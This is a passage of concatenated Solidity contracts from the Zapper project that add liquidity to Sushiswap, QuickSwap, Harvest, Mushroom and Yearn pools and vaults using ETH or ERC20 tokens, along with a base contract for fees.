bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract adds liquidity to Sushiswap pools on Polygon using ETH or any ERC20 Token.
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../../_base/ZapInBaseV2.sol";
// import "@uniswap/lib/contracts/libraries/Babylonian.sol";
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB)
external
view
returns (address);
}
interface IUniswapV2Router02 {
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
interface IUniswapV2Pair {
function token0() external pure returns (address);
function token1() external pure returns (address);
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
}
contract Sushiswap_ZapIn_Polygon_V2 is ZapInBaseV2 {
// sushiSwap
IUniswapV2Router02 private constant sushiSwapRouter =
IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
IUniswapV2Factory private constant sushiSwapFactoryAddress =
IUniswapV2Factory(0xc35DADB65012eC5796536bD9864eD8773aBc74C4);
uint256 private constant deadline =
0xf000000000000000000000000000000000000000000000000000000000000000;
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
event zapIn(address sender, address pool, uint256 tokensRec);
/**
@notice This function is used to invest in given Sushiswap pair through ETH/ERC20 Tokens
@param fromToken The ERC20 token used for investment (address(0x00) if ether)
@param pairAddress The Sushiswap pair address
@param amount The amount of fromToken to invest
@param minPoolTokens Reverts if less tokens received than this
@param swapTarget Excecution target for the first swap
@param allowanceTarget Target to approve for swap
@param swapData Dex quote data
@param affiliate Affiliate address
@param transferResidual Set false to save gas by donating the residual remaining after a Zap
@param shouldSellEntireBalance True if amountIn is determined at execution time (i.e. contract is caller)
@return Amount of LP bought
*/
function ZapIn(
address fromToken,
address pairAddress,
uint256 amount,
uint256 minPoolTokens,
address swapTarget,
address allowanceTarget,
bytes calldata swapData,
address affiliate,
bool transferResidual,
bool shouldSellEntireBalance
) external payable stopInEmergency returns (uint256) {
uint256 toInvest =
_pullTokens(
fromToken,
amount,
affiliate,
true,
shouldSellEntireBalance
);
uint256 LPBought =
_performZapIn(
fromToken,
pairAddress,
toInvest,
swapTarget,
allowanceTarget,
swapData,
transferResidual
);
require(LPBought >= minPoolTokens, "ERR: High Slippage");
emit zapIn(msg.sender, pairAddress, LPBought);
IERC20(pairAddress).safeTransfer(msg.sender, LPBought);
return LPBought;
}
function _getPairTokens(address pairAddress)
internal
pure
returns (address token0, address token1)
{
IUniswapV2Pair sushiPair = IUniswapV2Pair(pairAddress);
token0 = sushiPair.token0();
token1 = sushiPair.token1();
}
function _performZapIn(
address fromToken,
address pairAddress,
uint256 amount,
address swapTarget,
address allowanceTarget,
bytes memory swapData,
bool transferResidual
) internal returns (uint256) {
uint256 intermediateAmt;
address intermediateToken;
(address _ToSushipoolToken0, address _ToSushipoolToken1) =
_getPairTokens(pairAddress);
if (
fromToken != _ToSushipoolToken0 && fromToken != _ToSushipoolToken1
) {
// swap to intermediate
(intermediateAmt, intermediateToken) = _fillQuote(
fromToken,
pairAddress,
amount,
swapTarget,
allowanceTarget,
swapData
);
} else {
intermediateToken = fromToken;
intermediateAmt = amount;
}
// divide intermediate into appropriate amount to add liquidity
(uint256 token0Bought, uint256 token1Bought) =
_swapIntermediate(
intermediateToken,
_ToSushipoolToken0,
_ToSushipoolToken1,
intermediateAmt
);
return
_sushiDeposit(
_ToSushipoolToken0,
_ToSushipoolToken1,
token0Bought,
token1Bought,
transferResidual
);
}
function _sushiDeposit(
address _ToUnipoolToken0,
address _ToUnipoolToken1,
uint256 token0Bought,
uint256 token1Bought,
bool transferResidual
) internal returns (uint256) {
_approveToken(_ToUnipoolToken0, address(sushiSwapRouter), token0Bought);
_approveToken(_ToUnipoolToken1, address(sushiSwapRouter), token1Bought);
(uint256 amountA, uint256 amountB, uint256 LP) =
sushiSwapRouter.addLiquidity(
_ToUnipoolToken0,
_ToUnipoolToken1,
token0Bought,
token1Bought,
1,
1,
address(this),
deadline
);
if (transferResidual) {
//Returning Residue in token0, if any.
if (token0Bought.sub(amountA) > 0) {
IERC20(_ToUnipoolToken0).safeTransfer(
msg.sender,
token0Bought.sub(amountA)
);
}
//Returning Residue in token1, if any
if (token1Bought.sub(amountB) > 0) {
IERC20(_ToUnipoolToken1).safeTransfer(
msg.sender,
token1Bought.sub(amountB)
);
}
}
return LP;
}
function _fillQuote(
address _fromTokenAddress,
address pairAddress,
uint256 amount,
address swapTarget,
address allowanceTarget,
bytes memory swapCallData
) internal returns (uint256 amountBought, address intermediateToken) {
uint256 valueToSend;
if (_fromTokenAddress == address(0)) {
valueToSend = amount;
} else {
_approveToken(_fromTokenAddress, allowanceTarget, amount);
}
(address _token0, address _token1) = _getPairTokens(pairAddress);
IERC20 token0 = IERC20(_token0);
IERC20 token1 = IERC20(_token1);
uint256 initialBalance0 = token0.balanceOf(address(this));
uint256 initialBalance1 = token1.balanceOf(address(this));
(bool success, ) = swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBalance0 =
token0.balanceOf(address(this)).sub(initialBalance0);
uint256 finalBalance1 =
token1.balanceOf(address(this)).sub(initialBalance1);
if (finalBalance0 > finalBalance1) {
amountBought = finalBalance0;
intermediateToken = _token0;
} else {
amountBought = finalBalance1;
intermediateToken = _token1;
}
require(amountBought > 0, "Swapped to Invalid Intermediate");
}
function _swapIntermediate(
address _toContractAddress,
address _ToSushipoolToken0,
address _ToSushipoolToken1,
uint256 amount
) internal returns (uint256 token0Bought, uint256 token1Bought) {
IUniswapV2Pair pair =
IUniswapV2Pair(
sushiSwapFactoryAddress.getPair(
_ToSushipoolToken0,
_ToSushipoolToken1
)
);
(uint256 res0, uint256 res1, ) = pair.getReserves();
if (_toContractAddress == _ToSushipoolToken0) {
uint256 amountToSwap = calculateSwapInAmount(res0, amount);
//if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = amount.div(2);
token1Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken1,
amountToSwap
);
token0Bought = amount.sub(amountToSwap);
} else {
uint256 amountToSwap = calculateSwapInAmount(res1, amount);
//if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = amount.div(2);
token0Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken0,
amountToSwap
);
token1Bought = amount.sub(amountToSwap);
}
}
function calculateSwapInAmount(uint256 reserveIn, uint256 userIn)
internal
pure
returns (uint256)
{
return
Babylonian
.sqrt(
reserveIn.mul(userIn.mul(3988000) + reserveIn.mul(3988009))
)
.sub(reserveIn.mul(1997)) / 1994;
}
/**
@notice This function is used to swap ERC20 <> ERC20
@param fromToken The token address to swap from.
@param _ToTokenContractAddress The token address to swap to.
@param tokens2Trade The amount of tokens to swap
@return tokenBought The quantity of tokens bought
*/
function _token2Token(
address fromToken,
address _ToTokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 tokenBought) {
if (fromToken == _ToTokenContractAddress) {
return tokens2Trade;
}
_approveToken(fromToken, address(sushiSwapRouter), tokens2Trade);
address pair =
sushiSwapFactoryAddress.getPair(fromToken, _ToTokenContractAddress);
require(pair != address(0), "No Swap Available");
address[] memory path = new address[](2);
path[0] = fromToken;
path[1] = _ToTokenContractAddress;
tokenBought = sushiSwapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
require(tokenBought > 0, "Error Swapping Tokens 2");
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract adds liquidity to Mushroom Vaults using ETH or ERC20 Tokens.
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../_base/ZapInBaseV2.sol";
interface IMVault {
function deposit(uint256) external;
function token() external view returns (address);
}
contract Mushroom_ZapIn_V1 is ZapInBaseV2 {
mapping(address => bool) public approvedTargets;
event zapIn(address sender, address pool, uint256 tokensRec);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
/**
@notice This function adds liquidity to Mushroom vaults with ETH or ERC20 tokens
@param fromToken The token used for entry (address(0) if ether)
@param amountIn The amount of fromToken to invest
@param toVault Harvest vault address
@param minMVTokens The minimum acceptable quantity vault tokens to receive. Reverts otherwise
@param intermediateToken Token to swap fromToken to before entering vault
@param swapTarget Excecution target for the swap or zap
@param swapData DEX or Zap data
@param affiliate Affiliate address
@param shouldSellEntireBalance True if amountIn is determined at execution time (i.e. contract is caller)
@return tokensReceived- Quantity of Vault tokens received
*/
function ZapIn(
address fromToken,
uint256 amountIn,
address toVault,
uint256 minMVTokens,
address intermediateToken,
address swapTarget,
bytes calldata swapData,
address affiliate,
bool shouldSellEntireBalance
) external payable stopInEmergency returns (uint256 tokensReceived) {
require(
approvedTargets[swapTarget] || swapTarget == address(0),
"Target not Authorized"
);
// get incoming tokens
uint256 toInvest =
_pullTokens(
fromToken,
amountIn,
affiliate,
true,
shouldSellEntireBalance
);
// get intermediate token
uint256 intermediateAmt =
_fillQuote(
fromToken,
intermediateToken,
toInvest,
swapTarget,
swapData
);
// Deposit to Vault
tokensReceived = _vaultDeposit(intermediateAmt, toVault, minMVTokens);
}
function _vaultDeposit(
uint256 amount,
address toVault,
uint256 minTokensRec
) internal returns (uint256 tokensReceived) {
address underlyingVaultToken = IMVault(toVault).token();
_approveToken(underlyingVaultToken, toVault);
uint256 iniVaultBal = IERC20(toVault).balanceOf(address(this));
IMVault(toVault).deposit(amount);
tokensReceived = IERC20(toVault).balanceOf(address(this)).sub(
iniVaultBal
);
require(tokensReceived >= minTokensRec, "Err: High Slippage");
IERC20(toVault).safeTransfer(msg.sender, tokensReceived);
emit zapIn(msg.sender, toVault, tokensReceived);
}
function _fillQuote(
address _fromTokenAddress,
address toToken,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (_fromTokenAddress == toToken) {
return _amount;
}
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
_approveToken(_fromTokenAddress, _swapTarget);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = _swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function setApprovedTargets(
address[] calldata targets,
bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract deposits ETH or ERC20 tokens into Harvest Vaults
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../_base/ZapInBaseV2.sol";
// -- Harvest --
interface IHVault {
function underlying() external view returns (address);
function deposit(uint256 amountWei) external;
}
contract Harvest_ZapIn_V2_0_1 is ZapInBaseV2 {
// calldata only accepted for approved zap contracts
mapping(address => bool) public approvedTargets;
event zapIn(address sender, address pool, uint256 tokensRec);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
/**
@notice This function adds liquidity to harvest vaults with ETH or ERC20 tokens
@param fromToken The token used for entry (address(0) if ether)
@param amountIn The amount of fromToken to invest
@param vault Harvest vault address
@param minVaultTokens The minimum acceptable quantity vault tokens to receive. Reverts otherwise
@param intermediateToken Token to swap fromToken to before entering vault
@param swapTarget Excecution target for the swap or zap
@param swapData DEX or Zap data
@param affiliate Affiliate address
@return tokensReceived- Quantity of Vault tokens received
*/
function ZapIn(
address fromToken,
uint256 amountIn,
address vault,
uint256 minVaultTokens,
address intermediateToken,
address swapTarget,
bytes calldata swapData,
address affiliate,
bool shouldSellEntireBalance
) external payable stopInEmergency returns (uint256 tokensReceived) {
require(
approvedTargets[swapTarget] || swapTarget == address(0),
"Target not Authorized"
);
// get incoming tokens
uint256 toInvest =
_pullTokens(
fromToken,
amountIn,
affiliate,
true,
shouldSellEntireBalance
);
// get intermediate token
uint256 intermediateAmt =
_fillQuote(
fromToken,
intermediateToken,
toInvest,
swapTarget,
swapData
);
// Deposit to Vault
tokensReceived = _vaultDeposit(intermediateAmt, vault, minVaultTokens);
}
function _vaultDeposit(
uint256 amount,
address toVault,
uint256 minTokensRec
) internal returns (uint256 tokensReceived) {
address underlyingVaultToken = IHVault(toVault).underlying();
_approveToken(underlyingVaultToken, toVault);
uint256 iniYVaultBal = IERC20(toVault).balanceOf(address(this));
IHVault(toVault).deposit(amount);
tokensReceived = IERC20(toVault).balanceOf(address(this)).sub(
iniYVaultBal
);
require(tokensReceived >= minTokensRec, "Err: High Slippage");
IERC20(toVault).safeTransfer(msg.sender, tokensReceived);
emit zapIn(msg.sender, toVault, tokensReceived);
}
function _fillQuote(
address _fromTokenAddress,
address toToken,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (_fromTokenAddress == toToken) {
return _amount;
}
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
_approveToken(_fromTokenAddress, _swapTarget);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = _swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function setApprovedTargets(
address[] calldata targets,
bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
pragma solidity ^0.5.7;
import "./ZapBaseV1.sol";
contract ZapInBaseV1 is ZapBaseV1 {
function _pullTokens(
address token,
uint256 amount,
address affiliate,
bool enableGoodwill
) internal returns (uint256 value) {
uint256 totalGoodwillPortion;
if (token == address(0)) {
require(msg.value > 0, "No eth sent");
// subtract goodwill
totalGoodwillPortion = _subtractGoodwill(
ETHAddress,
msg.value,
affiliate,
enableGoodwill
);
return msg.value.sub(totalGoodwillPortion);
}
require(amount > 0, "Invalid token amount");
require(msg.value == 0, "Eth sent with token");
//transfer token
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
// subtract goodwill
totalGoodwillPortion = _subtractGoodwill(
token,
amount,
affiliate,
enableGoodwill
);
return amount.sub(totalGoodwillPortion);
}
function _subtractGoodwill(
address token,
uint256 amount,
address affiliate,
bool enableGoodwill
) internal returns (uint256 totalGoodwillPortion) {
bool whitelisted = feeWhitelist[msg.sender];
if (enableGoodwill && !whitelisted && goodwill > 0) {
totalGoodwillPortion = SafeMath.div(
SafeMath.mul(amount, goodwill),
10000
);
if (affiliates[affiliate]) {
if (token == address(0)) {
token = ETHAddress;
}
uint256 affiliatePortion =
totalGoodwillPortion.mul(affiliateSplit).div(100);
affiliateBalance[affiliate][token] = affiliateBalance[
affiliate
][token]
.add(affiliatePortion);
totalAffiliateBalance[token] = totalAffiliateBalance[token].add(
affiliatePortion
);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract adds liquidity to Yearn Vaults using ETH or ERC20 Tokens.
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../_base/ZapInBaseV1.sol";
interface IYVault {
function deposit(uint256) external;
function withdraw(uint256) external;
function getPricePerFullShare() external view returns (uint256);
function token() external view returns (address);
// V2
function pricePerShare() external view returns (uint256);
}
// -- Aave --
interface IAaveLendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
function getLendingPoolCore() external view returns (address payable);
}
interface IAaveLendingPoolCore {
function getReserveATokenAddress(address _reserve)
external
view
returns (address);
}
interface IAaveLendingPool {
function deposit(
address _reserve,
uint256 _amount,
uint16 _referralCode
) external payable;
}
contract yVault_ZapIn_V3 is ZapInBaseV1 {
// calldata only accepted for approved zap contracts
mapping(address => bool) public approvedTargets;
IAaveLendingPoolAddressesProvider
private constant lendingPoolAddressProvider =
IAaveLendingPoolAddressesProvider(
0x24a42fD28C976A61Df5D00D0599C34c4f90748c8
);
event zapIn(address sender, address pool, uint256 tokensRec);
constructor(
address _curveZapIn,
uint256 _goodwill,
uint256 _affiliateSplit
) public ZapBaseV1(_goodwill, _affiliateSplit) {}
/**
@notice This function adds liquidity to a Yearn vaults with ETH or ERC20 tokens
@param fromToken The token used for entry (address(0) if ether)
@param amountIn The amount of fromToken to invest
@param toVault Yearn vault address
@param superVault Super vault to depoist toVault tokens into (address(0) if none)
@param isAaveUnderlying True if vault contains aave token
@param minYVTokens The minimum acceptable quantity vault tokens to receive. Reverts otherwise
@param intermediateToken Token to swap fromToken to before entering vault
@param swapTarget Excecution target for the swap or Zap
@param swapData DEX quote or Zap data
@param affiliate Affiliate address
@return tokensReceived- Quantity of Vault tokens received
*/
function ZapIn(
address fromToken,
uint256 amountIn,
address toVault,
address superVault,
bool isAaveUnderlying,
uint256 minYVTokens,
address intermediateToken,
address swapTarget,
bytes calldata swapData,
address affiliate
) external payable stopInEmergency returns (uint256 tokensReceived) {
require(
approvedTargets[swapTarget] || swapTarget == address(0),
"Target not Authorized"
);
// get incoming tokens
uint256 toInvest = _pullTokens(fromToken, amountIn, affiliate, true);
// get intermediate token
uint256 intermediateAmt =
_fillQuote(
fromToken,
intermediateToken,
toInvest,
swapTarget,
swapData
);
// get 'aIntermediateToken'
if (isAaveUnderlying) {
address aaveLendingPoolCore =
lendingPoolAddressProvider.getLendingPoolCore();
_approveToken(intermediateToken, aaveLendingPoolCore);
IAaveLendingPool(lendingPoolAddressProvider.getLendingPool())
.deposit(intermediateToken, intermediateAmt, 0);
intermediateToken = IAaveLendingPoolCore(aaveLendingPoolCore)
.getReserveATokenAddress(intermediateToken);
}
return
_zapIn(
toVault,
superVault,
minYVTokens,
intermediateToken,
intermediateAmt
);
}
function _zapIn(
address toVault,
address superVault,
uint256 minYVTokens,
address intermediateToken,
uint256 intermediateAmt
) internal returns (uint256 tokensReceived) {
// Deposit to Vault
if (superVault == address(0)) {
tokensReceived = _vaultDeposit(
intermediateToken,
intermediateAmt,
toVault,
minYVTokens,
true
);
} else {
uint256 intermediateYVTokens =
_vaultDeposit(
intermediateToken,
intermediateAmt,
toVault,
0,
false
);
// deposit to super vault
tokensReceived = _vaultDeposit(
IYVault(superVault).token(),
intermediateYVTokens,
superVault,
minYVTokens,
true
);
}
}
function _vaultDeposit(
address underlyingVaultToken,
uint256 amount,
address toVault,
uint256 minTokensRec,
bool shouldTransfer
) internal returns (uint256 tokensReceived) {
_approveToken(underlyingVaultToken, toVault);
uint256 iniYVaultBal = IERC20(toVault).balanceOf(address(this));
IYVault(toVault).deposit(amount);
tokensReceived = IERC20(toVault).balanceOf(address(this)).sub(
iniYVaultBal
);
require(tokensReceived >= minTokensRec, "Err: High Slippage");
if (shouldTransfer) {
IERC20(toVault).safeTransfer(msg.sender, tokensReceived);
emit zapIn(msg.sender, toVault, tokensReceived);
}
}
function _fillQuote(
address _fromTokenAddress,
address toToken,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (_fromTokenAddress == toToken) {
return _amount;
}
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
_approveToken(_fromTokenAddress, _swapTarget);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = _swapTarget.call.value(valueToSend)(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function setApprovedTargets(
address[] calldata targets,
bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 Zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
///@notice This contract adds liquidity to QuickSwap pools using any arbitrary token
// SPDX-License-Identifier: GPLv2
pragma solidity ^0.5.7;
import "../_base/ZapInBaseV1.sol";
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB)
external
view
returns (address);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Pair {
function token0() external pure returns (address);
function token1() external pure returns (address);
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
}
contract QuickSwap_ZapIn_V1 is ZapInBaseV1 {
IUniswapV2Router02 private constant quickswapRouter =
IUniswapV2Router02(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);
IUniswapV2Factory private constant quickswapFactory =
IUniswapV2Factory(0x5757371414417b8C6CAad45bAeF941aBc7d3Ab32);
address private constant wmaticTokenAddress =
0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270;
uint256 private constant deadline =
0xf000000000000000000000000000000000000000000000000000000000000000;
event zapIn(address sender, address pool, uint256 tokensRec);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
public
ZapBaseV1(_goodwill, _affiliateSplit)
{}
/**
@notice Adds liquidity to QuickSwap Pools with any token
@param fromTokenAddress ERC20 token address used for investment (address(0x00) if MATIC)
@param pairAddress QuickSwap pair address
@param amount Quantity of fromTokenAddress to invest
@param minPoolTokens Minimum acceptable quantity of LP tokens to receive.
@param affiliate Affiliate address
@return Quantity of LP bought
*/
function ZapIn(
address fromTokenAddress,
address pairAddress,
uint256 amount,
uint256 minPoolTokens,
address affiliate
) public payable stopInEmergency returns (uint256) {
uint256 toInvest =
_pullTokens(fromTokenAddress, amount, affiliate, true);
uint256 LPBought =
_performZapIn(fromTokenAddress, pairAddress, toInvest);
require(LPBought >= minPoolTokens, "ERR: High Slippage");
emit zapIn(msg.sender, pairAddress, LPBought);
IERC20(pairAddress).safeTransfer(msg.sender, LPBought);
return LPBought;
}
function _getPairTokens(address pairAddress)
internal
pure
returns (address token0, address token1)
{
IUniswapV2Pair uniPair = IUniswapV2Pair(pairAddress);
token0 = uniPair.token0();
token1 = uniPair.token1();
}
function _performZapIn(
address fromTokenAddress,
address pairAddress,
uint256 amount
) internal returns (uint256) {
(address _token0, address _token1) = _getPairTokens(pairAddress);
address intermediate =
_getIntermediate(fromTokenAddress, amount, _token0, _token1);
// swap to intermediate
uint256 interAmt = _token2Token(fromTokenAddress, intermediate, amount);
// divide to swap in amounts
uint256 token0Bought;
uint256 token1Bought;
IUniswapV2Pair pair =
IUniswapV2Pair(quickswapFactory.getPair(_token0, _token1));
(uint256 res0, uint256 res1, ) = pair.getReserves();
if (intermediate == _token0) {
uint256 amountToSwap = calculateSwapInAmount(res0, interAmt);
